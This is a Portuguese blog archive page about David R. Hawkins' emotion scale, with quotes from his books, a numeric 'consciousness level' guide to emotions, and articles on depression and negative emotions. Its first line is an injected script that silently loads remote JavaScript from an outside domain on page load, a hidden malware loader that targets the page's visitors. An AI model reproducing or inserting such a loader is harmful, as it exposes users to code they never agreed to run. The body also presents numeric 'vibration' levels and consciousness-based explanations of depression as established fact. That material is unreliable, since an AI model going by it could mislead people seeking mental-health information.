;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Escala das Emoções - David Hawkins Brasil

Tag: Escala das Emoções

Categorias
David Hawkins

16 frases inspiradoras do livro Poder vs Força, de Dr. David Hawkins

No best-seller Poder vs Força – Os Determinantes Ocultos do Comportamento Humano, o Dr. David Hawkins, M.D., Ph.D., traz frutos de décadas de pesquisas que unem a ciência e a espiritualidade, o ser humano e o universo, o intelecto e a alma.

Essa foi a obra que introduziu o trabalho do Dr. David Hawkins ao mundo através de revelações que quebraram paradigmas sobre a consciência e o comportamento. Foi no livro Poder vs Força que Hawkins nos apresentou o Mapa da Consciência, hoje também conhecido como Escala das Emoções ou Escala Hawkins.

Entendendo o conceito geral de Poder vs Força

Antes de ter contato com as frases, pode ser interessante para o leitor se familiarizar com os termos “Poder” e “Força” dentro do contexto do livro do Dr. David Hawkins.

Hawkins caracteriza como “Poder” tudo aquilo que é “pró-vida”, que serve ao Bem Maior e que contribui para a evolução espiritual. Entre os campos energéticos do Poder estão a Coragem, a Disposição, a Aceitação, a Razão, o Amor e a Paz.

Já a “força” representa as energias “anti-vida”. Usar a força significa tentar forçar a barra, gerando uma contra-força que resulta em disputa e divisão. Entre os campos energéticos de força estão o Orgulho, a Raiva, o Desejo, o Medo, a Tristeza, a Apatia, a Culpa e a Vergonha.

Conhecendo estes conceitos, agora sim você está pronto(a) para desfrutar as melhores frases do livro Poder vs Força. Aproveite e não deixe de ler a obra completa!

As melhores frases do livro Poder vs Força, do Dr. David Hawkins

1. “Nós mudamos o mundo não através do que falamos ou fazemos, mas como consequência daquilo que nos tornamos.” – Dr. David Hawkins, Poder vs Força

2. “Neste universo interconectado, cada melhoria que fazemos no nosso mundo privado melhora o mundo como um todo.” – Dr. David Hawkins, Poder vs Força

3. “A única maneira de alguém aumentar seu poder no mundo é aumentando sua integridade, compreensão e capacidade de compaixão.” – Dr. David Hawkins, Poder vs Força

4. “O poder serve aos outros, enquanto a força serve a si mesma.” – Dr. David Hawkins, Poder vs Força

5. “O universo não desperdiça um único quark, tudo serve a um propósito e se encaixa num equilíbrio – não há eventos aleatórios.” – Dr. David Hawkins, Poder vs Força

6. “A força pode trazer satisfação, mas só o poder traz alegria. A vitória sobre os outros nos traz satisfação, mas a vitória sobre nós mesmos nos traz alegria.” – Dr. David Hawkins, Poder vs Força

7. “Os fatos são acumulados pelo esforço, mas a verdade se revela sem esforço.” – Dr. David Hawkins, Poder vs Força

8. “Todos nós temos disponível em todos os momentos um computador muito mais avançado do que a mais elaborada máquina de inteligência artificial – a própria mente humana.” – Dr. David Hawkins, Poder vs Força

9. “Os sistemas totalitários são notavelmente desprovidos de humor em todos os níveis. O riso, que traz aceitação e liberdade, é uma ameaça ao seu governo por meio da força e da intimidação. É difícil oprimir quem tem bom senso de humor. Cuidado com a falta de humor, seja em uma pessoa, instituição ou sistema de crenças; ela vem sempre acompanhada por um impulso de controlar e dominar, mesmo que seu objetivo proclamado seja criar prosperidade ou paz.” – Dr. David Hawkins, Poder vs Força

10. “A igualdade não exclui a diversidade. A aceitação inclui em vez de rejeitar.” – Dr. David Hawkins, Poder vs Força

11. “O homem pensa que vive em virtude das forças que pode controlar, mas, na verdade, ele é governado pelo poder de fontes não reveladas, poder sobre o qual não tem controle. Como o poder não requer esforço, ele passa despercebido e insuspeito. A força é experimentada através dos sentidos; o poder só pode ser reconhecido através da consciência interior.” – Dr. David Hawkins, Poder vs Força

12. “A busca pela excelência em qualquer área da vida humana inspira a todos nós para buscarmos todas as formas da grandeza ainda não realizadas pelo homem.” – Dr. David Hawkins, Poder vs Força

13. “Uma pessoa não se torna mais espiritualizada comendo certos alimentos ou evitando outros. A pessoa se torna um ser que expressa espiritualidade quando vive neste mundo, o aceita e não o julga.” – Dr. David Hawkins, Poder vs Força

14. “A razão é o espelho da vaidade da mente; em última análise, há poucas coisas mais chatas de se observar do que a auto-admiração. A racionalidade, o grande libertador que nos tornou livres das exigências de nossas naturezas inferiores, é também um severo guardião, impedindo nossa evolução para os planos acima e além do intelecto.” – Dr. David Hawkins, Poder vs Força

15. “As respostas verdadeiras são sempre caracterizadas pela simplicidade.” – Dr. David Hawkins, Poder vs Força

16. “A verdade do nosso próprio ser real pode ser descoberta no caminho da vida cotidiana. O comum e Deus não são coisas diferentes.” – Dr. David Hawkins, Poder vs Força

Leia as frases do livro “Poder vs Força” direto da fonte

É impossível ser a mesma pessoa depois de terminar a leitura de Poder vs Força. 

Além de nos presentear com uma visão reveladora do comportamento humano, nesta obra David R. Hawkins detalha como qualquer pessoa pode resolver o maior dilema da humanidade: distinguir instantaneamente a verdade da falsidade.

Uma leitura imperdível e praticamente obrigatória para todos aqueles que estão verdadeiramente comprometidos com o avanço espiritual e a expansão da consciência.

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Poder vs Força.

Categorias
David Hawkins

As 35 melhores frases do livro Deixar Ir – O Caminho do Desapego

Relaciomamentos

No best-seller Deixar Ir – O Caminho do Desapego, o psiquiatra e pesquisador da consciência Dr. David R. Hawkins, M.D., Ph.D., nos presenteia com um técnica simples e efetiva para lidarmos com os obstáculos da vida humana e nos aproximarmos da Iluminação.

Essa pode ser considerada a obra “de entrada” de Hawkins, ou seja, o livro mais recomendado para quem deseja ter o primeiro contato com seu trabalho.

Porém, isso não significa que “Deixar Ir” seja um livro raso. Muito pelo contrário. A profundidade da obra é grande e fica evidente através de diversas frases marcantes, que se tornam verdadeiros guias para os leitores.

A seguir, confira a seleção das melhores frases do livro Deixar Ir, de Dr. David Hawkins.

As melhores frases do livro Deixar Ir – O Caminho do Desapego, de Dr. David Hawkins

Frases do livro Deixar Ir sobre a mente

1. “Aquilo que mantemos em mente, tende a se manifestar.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

2. “As pessoas mais bem-sucedidas no mundo são aquelas que mantém em mente o Bem Maior que inclui a todos, incluindo a si mesmos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

3. “Tornou-se evidente que o cérebro não é a origem da mente, como a ciência e a medicina acreditavam, mas ao contrário. A mente controla o cérebro.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

4. “O inconsciente nos traz o que acha que merecemos. Se nossa visão de nós mesmos é pequena, limitada e mesquinha — devido à culpa acumulada —, então o inconsciente trará essas condições econômicas para nossa vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre sentimentos

5. “Deixar ir significa que estamos dispostos a abrir mão de um sentimento, permitindo-nos apenas experimentá-lo, e não mudá-lo.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

6. “Nossos sentimentos e pensamentos sempre afetam outras pessoas e afetam nossos relacionamentos, quer sejam esses pensamentos ou sentimentos verbalizados e expressos, ou não.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

7. “Não procure respostas; em vez disso, deixe ir os sentimentos por trás da pergunta.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

8. “Sentimentos vêm e vão, e eventualmente você se dá conta de que você não é seus sentimentos, mas que o real ‘você’ está meramente os testemunhando.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

9. “Pensamos que nossa felicidade depende de controlar os acontecimentos, e que os fatos são o que nos incomodam. Na verdade, nossos sentimentos e pensamentos sobre esses fatos que são a verdadeira causa de estamos chateados.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

10. “Medo da vida é, na verdade, medo das emoções. Não são os fatos que tememos, mas nossos sentimentos sobre eles.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

11. “Para superar a culpa, é necessário olhar para a satisfação secreta e o prazer que obtemos da autopiedade, ressentimento, raiva e auto-desculpas, e começar a renunciar a todas essas pequenas recompensas.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

12. “Nada precisa ser feito para adquirirmos sentimentos positivos, pois eles são parte integrante do nosso estado natural.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

13. “Ter deixado ir significa não ter nenhuma emoção forte a respeito de alguma coisa: ‘Está okay se isso acontecer, e okay se não acontecer’”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre mudança interior

14. “O mundo só consegue nos ver como nós mesmos nos vemos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

15. “O ponto crucial é: mudando a nós mesmos, mudamos o mundo. À medida que nos tornamos mais amorosos por dentro, a cura ocorre por fora. Assim como a elevação do nível do mar eleva todos os navios, o esplendor do amor incondicional dentro de um coração humano eleva toda a vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

16. “Todo julgamento é, na verdade, autojulgamento.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

17. “Tudo pode ser tirado de um homem, menos uma coisa: a última das liberdades humanas – escolher a própria atitude em qualquer conjunto de circunstâncias, escolher o próprio caminho.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

18. “Sem uma mudança de consciência, não há redução real do estresse.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

19. “Simplesmente olhe para o que você não gostaria que os outros soubessem sobre você e comece a ‘deixar ir’ isso!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

20. “Nossas auto-dúvidas bloqueiam o próprio reconhecimento que buscamos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre as leis da vida

21. “A natureza básica do universo é manifestar o maior bem possível em cada situação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

22. “Nós conseguimos o que queremos quando paramos de insistir!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

23. “Ficar na defensiva é um convite para o ataque.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

24. “Quanto maior nosso apego ao que está fora de nós, maior é nosso nível geral de medo e vulnerabilidade à perda.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

25. “Uma das leis da consciência é: só estamos sujeitos a um pensamento ou crença negativa se dissermos conscientemente que isso se aplica a nós. Somos livres para escolher não aderir a um sistema de crença negativo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

26. “O único poder que qualquer coisa tem sobre nós é o poder da crença que lhe damos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

27. “Quando pressionamos outras pessoas para conseguir o que queremos, elas automaticamente resistem, porque estamos tentando pressioná-las. Quanto mais forçamos, mais elas resistem.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

28. “É como se o campo de energia do gênio criativo estivesse disponível e esperando por nós assim que deixarmos ir as nuvens de negatividade que impedem sua revelação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

29. “Se deixarmos ir a culpa, veremos a inocência; no entanto, uma pessoa dominada pela culpa verá apenas o mal. A regra básica é que nos concentramos no que reprimimos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre perdão e cura

30. “O perdão é um aspecto do amor que nos permite ver os acontecimentos da vida do ponto de vista da Graça.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

31. “Quando curamos algo em nós mesmos, é uma cura para o mundo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

32. “Com o perdão, eventos e pessoas são recontextualizados como simplesmente ‘limitados’ – não ‘ruins’ ou ‘não amáveis’”. –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

33. “O medo do futuro não existe mais quando o passado foi curado.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre o Amor

34. “Quanto mais amamos, mais podemos amar. O amor não tem limites. Amor gera amor.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

35. “Quando paramos de querer ser amados, descobrimos que somos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Leia as frases do livro “Deixar Ir” direto da fonte

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

Categorias
Níveis de Consciência

Como Sair da Depressão? – Parte 1

Desapego

Dr. David R. Hawkins foi psiquiatra e liderou uma das maiores clínicas de saúde mental do mundo, tendo mais tarde somado toda sua experiência clínica ao ensino da Escala de Consciência. Além disso, o próprio Hawkins lidou com a depressão em sua vida pessoal.

Por esses e outros motivos, o trabalho de David Hawkins possui uma base sólida para nos ajudar a sair da depressão clínica ou mesmo de estados depressivos temporários. Inclusive, a Escala dos Níveis de Consciência também contribui para isso, nos oferecendo uma visão única e reveladora do que está por trás da depressão.

Desmistificando a depressão

Um dos primeiros pontos que devemos compreender é que, como diz Dr. Hawkins, praticamente todas as pessoas são afetadas pela depressão. É muito raro alguém viver durante décadas neste planeta sem ser afetado por ela.

Então, antes de mais nada, não devemos nos achar piores por nos sentirmos depressivos ou desanimados. O fato é que a depressão e o desânimo sempre existiram, e nos últimos tempos se tornaram uma espécie de pequena epidemia, afetando mais e mais pessoas.

Qual é a abordagem correta para a depressão?

Há quem diga que a depressão é uma doença psíquica (da mente). Outros afirmam que ela está instalada no espírito. E há ainda inúmeros profissionais de saúde que consideram a depressão como um problema fisiológico, da bioquímica. Afinal, quem está certo?

Para lidar com a depressão, é importante a observarmos tanto do ponto de vista da consciência como também do ponto de vista da bioquímica. “A bioquímica é a causa ou o efeito da depressão?” – Dr. Hawkins nos desafia a questionar.

David Hawkins sugere abordar o tema considerando a relação entre corpo, mente e espírito. Ele fala do tratamento e compreensão da depressão nos três níveis.

Um princípio fundamental: corpo, mente e espírito

Conforme mencionado, o papel da bioquímica do corpo na depressão é importante. No entanto, é necessário lembrar que o corpo não consegue experienciar a si mesmo. Ele não é capaz de experimentar suas próprias sensações.

O corpo é experienciado na mente. É a mente quem “percebe” o corpo.

Contudo, a mente também não possui a capacidade de experienciar a si mesma. Tudo o que percebemos como experiências mentais (memórias, pensamentos, sentimentos, fantasias sobre o futuro, devaneios) é registrado e experienciado por algo maior que a mente: a consciência.

Então, a mente nos permite saber o que está acontecendo no corpo. E a consciência maior nos permite saber o que está ocorrendo na mente. Em último nível, portanto, tudo ocorre na consciência.

Corpo < Mente < Consciência

Aqui entra um princípio fundamental ensinado por Dr. David Hawkins: devemos tratar os assuntos nos níveis mais altos, onde há maior quantidade de poder.

Neste caso, a mente está “acima” do corpo e possui mais poder do que ele. Já a consciência está “acima” do corpo e da mente, influenciando os dois primeiros. Desse modo, uma mudança no campo de consciência produz mudanças na mente e no corpo.

A esse ponto, a pergunta que nos fazemos é a seguinte: como produzir mudanças no campo de consciência e, assim, curar a depressão?

É isso que veremos no próximo artigo desta série, no qual abordaremos as reais causas da depressão a sua ligação com os campos de consciência, onde também está o caminho para a cura.

Clique aqui para ler a continuação deste artigo: “Como sair da depressão? – Parte 2”.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

Categorias
Níveis de Consciência

Guia de Inteligência Emocional: Como Identificar Suas Emoções

Inteligência Emocional

Um dos pontos importantes para a inteligência emocional é observar suas emoções ou sentimentos e ficar consciente deles. Esse é o ponto central da técnica descrita no best-seller Deixar Ir, de Dr. David Hawkins.

Embora — segundo o próprio David Hawkins — não seja necessário nomear as emoções, pode ser útil compreender o nível energético e as características de cada uma delas. Assim fica fácil identificar, por exemplo, se você está em um estado emocional propício para agir e tomar decisões ou se é melhor aguardar um outro momento.

Neste conteúdo você terá acesso a um guia para identificar suas emoções e assim desenvolver sua inteligência emocional. Confira.

Guia de Inteligência Emocional: Emoções Negativas

Ao lado do nome de cada emoção, você verá o nível vibracional do campo energético dessa emoção conforme a Escala Hawkins de Consciência, que vai de 1 (nível mais baixo) até 1.000 (nível mais alto).

Isso ajudará você a identificar o quão negativa ou positiva é a emoção que você está experienciando. Com isso, você terá ainda mais consciência para reconhecer as emoções negativas rapidamente e escolher as positivas, ampliando sua inteligência emocional.

Vergonha (20)

Sabe aquele sentimento de humilhação, quando nos sentimos pior do que tudo e todos? Esse é o nível de consciência da vergonha, que tem uma vibração extremamente baixa.

Aqui não estamos falando apenas de se sentir encabulado. Vai muito além. É como se a pessoa sentisse vergonha de ser quem ela é.

Quando realmente mergulhamos na emoção da vergonha, passamos a achar que o mundo é miserável. Nessas horas, qualquer outra emoção que pudermos nos conectar já será válida. Mesmo outras energias negativas serão “menos negativas” e poderão auxiliar a sair desse estado emocional.

Culpa (30)

O campo emocional da culpa leva o indivíduo a desejar dois movimentos:

  • punir os outros, por achar que eles são culpados;
  • e ser punido, justamente para aliviar a culpa que sente. 

Por conta disso, é um campo extremamente perigoso. Leva a autorrejeição, masoquismo, remorso, mal-estar e autossabotagem. Propensão a acidentes, comportamento suicida e projeção de auto-ódio sobre os “maus” são comuns. 

A emoção da culpa, quando reprimida, torna-se a base de muitas doenças psicossomáticas. O problema é que esse sentimento está tão inserido no nosso dia a dia que acaba passando despercebido.

Para identificar esse estado, uma dica é observar o próprio uso da palavra “culpa”, como: “É tudo culpa minha” ou “Bem-feito, é culpa dele”.

Apatia (50)

A emoção da apatia vai além da preguiça e é caracterizada pelo desespero, ou seja, a falta de esperança em relação à vida ou algum tema específico. Por exemplo, quando você se depara com um assunto incômodo e pensa “isso não tem jeito”, “não tem nada que possa ser feito” ou “eu não consigo”.

Em muitos casos, as áreas ou assuntos da nossa vida que estão estagnados há muito tempo são áreas nas quais estamos tomados pela emoção ou energia da apatia.

Tristeza (75)

Talvez essa seja uma das emoções mais fáceis de identificar, não é? Porém, ainda assim a tristeza pode surgir discretamente e passar despercebida.

É interessante notar que a emoção da tristeza está relacionada à ausência de aceitação. Quando vivenciamos esse sentimento, é comum falarmos coisas como “se pelo menos eu tivesse…”, ou então “se eu NÃO tivesse feito aquilo”. É uma sensação de estar preso e não conseguir seguir em frente.

Em muitos casos, a tristeza também pode estar associada a algum tipo de luto. A pessoa se prende ao passado, às memórias, e praticamente deseja “voltar no tempo”. “Ah, se tudo fosse como era antes”. Nesse caso não estamos falando de memórias de gratidão, que lembram de tudo com leveza e amor, mas sim de uma emoção pesada e depressiva.

Medo (100)

Medo de dar errado. Medo de perder. Medo de não conseguir. Medo de ser atacado. Medo de ser assaltado. Medo de perder o emprego. Medo de falir. Medo do futuro. Medo de perder pessoas queridas.

A emoção do medo toma as mais variadas formas em nossa vida, desde uma leve ansiedade até o pânico mais profundo, quando a pessoa jura que vai morrer. É uma energia preocupada (se ocupa com o futuro e esquece o presente); defensiva (vê a vida como uma disputa); e evasiva (quando não está lutando, está fugindo de conflitos).

No corpo, o medo frequentemente dispara reações de tensão (musculatura rígida, por exemplo), ou ainda extremos de frio ou calor.

Dr. David Hawkins explica que, em última instância, todo medo é o medo da morte — isso é explicado em mais detalhes no livro Deixar Ir.

Desejo (125)

Desejo é o equivalente à emoção da ganância. É um impulso de buscar sempre mais, sempre um novo ganho, aquisição, prazer ou qualquer outra coisa que está “do lado de fora”.

Quando essa emoção toma conta de nós, nos tornamos insaciáveis. Precisamos de mais. Mais um pedaço do nosso doce preferido; mais uma dose de bebida; mais uma compra; mais uma experiência; assim por diante.

No corpo físico, a emoção do desejo costuma vir acompanhada de sensações ligadas ao paladar, como fome ou sede. Já na fala, é comum externalizar frases como: “Eu PRECISO disso”, “Só mais um pouco e então eu paro”, “Me dê o que eu quero, e me dê agora!”. 

Raiva (150)

Conhecida de todos, a emoção da raiva vem acompanhada de uma visão de mundo antagonista: algo ou alguém parece estar contra você. Um ótimo jeito de verificar se você está nessa emoção é quando você começa a acreditar, mesmo temporariamente, que tem “inimigos” ou rivais.

A raiva é irritável, explosiva, amarga, volátil e rancorosa. Gosta de “ficar quite” e fala coisas como “vou te mostrar” ou “eles vão ver só”.

Orgulho (175)

“Meu jeito é o melhor jeito”, diz essa emoção. Seu foco é conquista, desejo por reconhecimento, ser especial e perfeito. Quando somos tomados pelo orgulho, nos sentimos “melhor que” e superior aos outros.

O orgulho traz comparação e competição.

Embora geralmente seja identificado como “ego inflado”, na polaridade oposta pode ter o efeito inverso. Nesse caso, a pessoa se acha pior que os outros e se enxerga como perdedora na competição da vida.

Guia de Inteligência Emocional: Emoções Positivas

Coragem (200)

A coragem é a primeira energia positiva, por isso essa serve como porta de entrada para a inteligência emocional, saindo das emoções negativas e buscando a positividade.

Essa emoção diz: “Eu consigo fazer isso”, “Se alguém já fez algo semelhante, eu também posso!”. É uma energia determinada, produtiva, empoderada e empolgada com a vida. 

Quando estamos tomados pela emoção da coragem, saímos da teoria ou das divagações e partimos para ações efetivas. A coragem não se importa de ainda não saber como fazer, porque dará um jeito de descobrir e chegar lá.

Neutralidade (250)

É a emoção ligada à ausência de julgamento e competitividade. Traz confiança e estabilidade. Além disso, é livre de posições rígidas.

Quando essa emoção está presente, ficamos tranquilos e “de boa”, sabendo que tudo ficará bem. Frases comuns são: “Se isso não funcionar, eu tento de novo” e “Tudo tem dois lados”.

Disposição (310)

Essa emoção desperta uma alta energia e vontade de ajudar. É uma emoção ativa, ligada a movimento e proatividade. Traz uma atitude positiva e otimista em relação à vida e às pessoas.

A energia da disposição é muito vista em empreendedores e trabalhadores dispostos. É a emoção que faz a “roda da economia” girar.

Aceitação (350)

Nesse nível energético, a qualidade da inteligência emocional se acentua.

A emoção da aceitação é a mesma do perdão, lembrando que perdoar não significa concordar com o que aconteceu, mas sim aceitar a realidade que se apresentou.

No momento em que finalmente aceitamos ou perdoamos um ocorrido, a emoção da aceitação toma conta, nos liberta e traz uma enorme leveza!

É uma emoção tranquila e livre de resistências internas. Harmonia e empatia são duas características marcantes: “A vida é boa. Você e eu somos bons. Eu me sinto conectado.” Em vez de desejar que a vida fosse diferente, essa emoção aceita a vida como é e as pessoas como são. Não há necessidade de culpar os outros ou culpar a vida.

É importante não confundir aceitação com apatia, que já foi explicada nas emoções negativas. A aceitação é uma emoção proativa, que aceita o momento atual e então se move para trazer melhorias a si e aos outros.

Razão (400)

Esse aspecto diferencia os humanos do mundo animal. Existe a capacidade de ver as coisas de forma abstrata, de conceituar, ser objetivo e tomar decisões rápidas e corretas. Tem grande utilidade para resolver problemas. Ciência, filosofia, medicina e lógica são expressões deste campo energético.

A partir daqui não estamos mais falando propriamente de emoções, mas sim de níveis de consciência nos quais a emocionalidade vai ficando de lado.

Na primeira parte deste artigo apresentamos as emoções negativas (de vergonha até o orgulho). Depois, as emoções positivas (de coragem até aceitação). A partir deste nível de 400, a razão se sobrepõe às emoções. Isso não significa que a pessoa será fria, mas sim que suas decisões e ações não estarão baseadas apenas no que ela está sentindo naquele momento.

Quando o campo energético da razão se apresenta, somos capazes de nos “afastar” mentalmente de um assunto e olhar para ele de forma desapegada, sem levar para o pessoal, buscando considerar o máximo de pessoas e variáveis envolvidas.

Com a razão, a inteligência emocional se amplia mais uma vez.

Amor (500)

Quando falamos do amor, não se trata somente das relações românticas ou familiares. O campo de consciência do amor vai além: é uma maneira de ser que perdoa, dá apoio e que “nutre” a si e aos outros.

O amor não vem da mente; em vez disso, emana do coração. Quando vivenciamos verdadeiramente o amor, passamos a focar na essência de cada situação, e não nos detalhes.

À medida que o amor deixa de ser uma emoção temporária e toma conta de nós como um estilo de vida, passamos a enxergar que tudo e todos são dignos de serem amados.

No nível de Amor, a inteligência emocional abre espaço para o que é chamado de inteligência espiritual, com a harmonia das funções do lado esquerdo e direito do cérebro.

Alegria ou Amor Incondicional (540)

Esse estado emocional ou estado de consciência vê o mundo como completo. Enxerga que tudo está conectado, que “todos são um” e sente compaixão por todos.

Há uma enorme paciência e uma preocupação — no bom sentido — com a felicidade dos outros. Além disso, há uma sensação de autorrealização e autossuficiência.

Paz (600+)

A paz é vivenciada como perfeição, alegria, leveza e unidade. É um estado de não dualidade, ou seja, de “não divisão”. Está além da separação e do intelecto. É um estado de iluminação que traz profunda serenidade.

Desenvolva ainda mais sua Inteligência Emocional

Agora que você já conhece a Escala das Emoções, você pode aprofundar ainda mais esse estudo.

No livro best-seller Deixar Ir: o caminho do desapego, Dr. David Hawkins descreve as emoções ou níveis de consciência com mais detalhes. Além disso, nesse livro é ensinada a própria técnica de Deixar Ir, que é a ferramenta mais simples e efetiva que existe para desenvolver inteligência emocional. Clique aqui e adquira o seu exemplar.

Categorias
Níveis de Consciência

Emoções Negativas: Como Lidar com Elas

Emoções Negativas

Qual foi a última vez que você sentiu emoções negativas? Hoje? Ontem? Semana passada?

E, na sua opinião, qual foi a causa dessas emoções negativas?

Embora tenhamos o hábito de atribuir as causas das emoções a fatores externos, Dr. David Hawkins nos explica que a verdade é exatamente o contrário. São as nossas emoções negativas que causam acontecimentos desagradáveis fora de nós!

Isso pode parecer uma afirmação bastante estranha, mas fique conosco para entender melhor.

Você só vê fora o que tem dentro: o mecanismo da projeção

Vamos combinar: não é fácil lidar com emoções negativas, certo?

Por conta dessa dificuldade, a mente racional utiliza mecanismos que a psicologia chama de “projeção”. 

Para entender melhor o que é a projeção, é interessante olharmos antes para os mecanismos de repressão e supressão.

Repressão e Supressão das emoções negativas

Imagine que as emoções negativas são como a sujeira dentro da nossa casa. Os dias, semanas, meses e anos vão passando e a poeira vai se acumulando sobre o piso.

Quando negamos olhar para a sujeira e fingimos que ela não existe, isso é repressão.

Psicologicamente, a repressão é um estado de negação. É tão doloroso lidar com a sujeira que preferimos fazer vista grossa para ela.

Em outros momentos até enxergamos a sujeira, mas não temos disposição para lidar com ela. Então, escolhemos conscientemente jogar a poeira para baixo do tapete. Essa é a supressão.

A supressão é uma espécie de procrastinação emocional.

Sabemos que processar emoçoes negativas é cansativo e, por isso, contamos uma história para nós mesmos: “Ah, outra hora eu lido com isso”.

Projeção ou deslocamento

Ocorre quando a sujeira embaixo do tapete é tão grande que precisamos colocar um pouco dessa poeira para fora. Só que não somos loucos a ponto de simplesmente sair espalhando sujeira por aí. Precisamos de uma justificativa, uma desculpa.

Vamos pegar como exemplo a emoção da raiva.

Imagine que, sob o nosso tapete da sala, existe uma quantidade de raiva tão grande que está quase saindo para além do tapete. Lá no fundo, nossa mente inconsciente pensa: “Que ótimo seria se eu pudesse despejar essa poeira (raiva) em algum lugar, sem ter muito trabalho.”

De repente, uma pessoa da nossa família passa e faz algo que não nos agrada, que contraria a nossa expectativa. Nesse momento, levantamos o tapete e despejamos uma certa quantidade de poeira (raiva) na pessoa.

Temos a justificativa perfeita: “Você me incomodou”. “Ela me irritou”. “Eles fizeram algo errado”.

A grande ponto é que a situação toda não passou de um gatilho.

Na realidade, o nosso “estoque” de raiva fez com que procurássemos uma situação para descarregar a sujeira, e não o contrário. Estávamos atrás de uma oportunidade.

Esse é o mecanismo da projeção (ou, na psiquiatria, deslocamento). 

A panela de pressão

Dr. David Hawins usa também a metáfora da panela de pressão. Quando a pressão é muito grande, precisamos enfim direcioná-la para fora, e não mais só para dentro.

Portanto, direcionamos a fumaça para outras pessoas ou situações externas. Projetamos ou deslocamos essa fumaça, dizendo que a culpa é daquilo que está fora.

A projeção é um processo de, justamente, pegar algo que é uma realidade interna nossa e projetar para fora, fazendo parecer que a causa é externa.

Segundo Dr. Hawkins, “quando a pressão dos sentimentos suprimidos e reprimidos excedem a tolerância máxima do indivíduo, a mente vai criar um evento ‘fora’ para se desafogar e deslocar.”

O mecanismo de Deixar Ir: antídoto para as emoções negativas

Mas como parar de projetar nossas emoções negativas do lado de fora e, ao invés disso, curarmos a nós mesmos?

Dr. David Hawkins nos ensina que a melhor maneira de lidar com os sentimentos negativos é através do mecanismo de Deixar Ir.

Nas palavras do próprio Dr. Hawkins,

Deixar ir envolve estar consciente de um sentimento, deixá-lo vir à tona, permanecer com ele e deixá-lo seguir seu curso sem querer torná-lo diferente ou fazer qualquer coisa sobre ele. Significa simplesmente deixar o sentimento estar presente e focar em deixar sair a energia por trás dele.

Quando paramos de resistir ao sentimento, condená-lo ou julgá-lo, passamos a olhar para ele apenas como um sentimento. A partir daí, automaticamente ele vai se dissolvendo.

Hawkins explica que é a resistência que mantém o sentimento.

Ou seja, quando você diz para si mesmo “Eu não posso sentir isso”, você mantém essas sensações e emoções dentro de você. 

Por outro lado, quando diz “Ok, eu posso sentir isso e não há nada de errado”, você se torna consciente. Sua resistência vai embora e as emoções negativas começam a se dissipar naturalmente, como uma onda que vem e que passa.

O livro Deixar Ir: o caminho do desapego

A melhor recomendação possível para aprender o mecanismo de Deixar Ir e, assim, aprender a lidar com os seus sentimentos e emoções negativas, é ler o livro best-seller de Dr. David Hawkins.

Na obra, o cientista e professor espiritual detalha de maneira prática o uso da técnica.

Além disso, você vai aprender sobre a Escala das Emoções e sua influência sobre todas as áreas da nossa vida, desde as emoções negativas — como vergonha, ódio, medo, ganância, raiva e orgulho —, até os campos de consciência positivos — como coragem, disposição, aceitação, razão, amor, paz e iluminação.

Confira aqui mais detalhes sobre o livro Deixar Ir e aprenda a técnica mais efetiva para lidar com sentimentos e emoções negativas.

Categorias
David Hawkins

Como Perder Peso de Maneira Prática, Fácil e Alegre – Parte 2

Perder Peso

No artigo anterior publicado aqui no blog, falamos sobre as bases da abordagem de Dr. David Hawkins para emagrecer e perder peso.

Leia a Parte 1 deste conteúdo aqui.

